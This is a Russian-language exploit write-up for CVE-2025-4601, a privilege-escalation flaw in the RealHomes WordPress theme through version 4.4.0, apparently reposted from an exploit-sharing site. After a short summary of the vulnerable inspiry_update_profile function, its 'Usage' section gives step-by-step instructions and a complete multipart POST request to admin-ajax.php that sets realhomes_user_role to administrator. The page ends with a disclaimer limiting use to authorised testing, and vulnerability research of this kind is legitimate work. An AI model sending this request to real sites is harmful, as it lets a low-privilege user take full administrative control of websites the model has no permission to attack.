CVE-2025-4601 - Тема WordPress RealHomes <= 4.4.0 - Повышение привилегий

🔥 Сводка об уязвимости Тема WordPress RealHomes версий <= 4.4.0 уязвима к повышению привилегий. Это позволяет аутентифицированным пользователям с низкими привилегиями (например, подписчикам) повышать свою роль до администратора. Уязвимость возникает через функцию inspiry_update_profile, которая некорректно позволяет пользователям изменять свою роль, если включена опция ere_allow_users_change_role.

Эта проблема может быть использована отправкой специально сформированного POST-запроса к конечной точке admin-ajax.php с параметром realhomes_user_role, установленным в administrator.

🔍 Затронутая тема

• Название темы: RealHomes
• Затронутая версия: <= 4.4.0
• Тип уязвимости: Повышение привилегий
• CVE ID: CVE-2025-4601
• Оценка CVSS: 8.8 (Критическая)
• Воздействие: Полный административный доступ → Возможная компрометация сайта

🧪 Возможности эксплуатации

• 📥 Автоматически получает nonce с целевой страницы.
• 🔐 Повышает роль пользователя до administrator через параметр realhomes_user_role.
• 🌐 Не требуется аутентификация помимо входа в систему под низкопривилегированным пользователем (например, подписчиком).
• 💾 Обновляет профиль пользователя, предоставляя атакующему административный доступ.

🧠 Исследователь

• Автор: Thai An

🚀 Использование

1. Войдите на целевой сайт под низкопривилегированным пользователем (например, подписчиком).

2. Отправьте запрос к конечной точке /wp-admin/admin-ajax.php со следующими POST-данными, включающими realhomes_user_role со значением administrator:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/2
   Host: targetsite.com
   Cookie: wordpress_logged_in_xxx=...
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
   
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="first-name"
   test
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="last-name"
   user
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="realhomes_user_role"
   administrator
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="action"
   inspiry_update_profile
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
   

3. Проверьте ответ: Если запрос выполнен успешно, атакующий получит административный доступ.

4. Проверьте, открыв страницу /wp-admin/, чтобы подтвердить, были ли предоставлены атакующему права администратора.

🔒 Отказ от ответственности: Это предназначено только для образовательных целей и должно использоваться только на системах, которые принадлежат вам или на тестирование которых вы получили явное разрешение. Неправильное использование этого кода может привести к юридическим последствиям.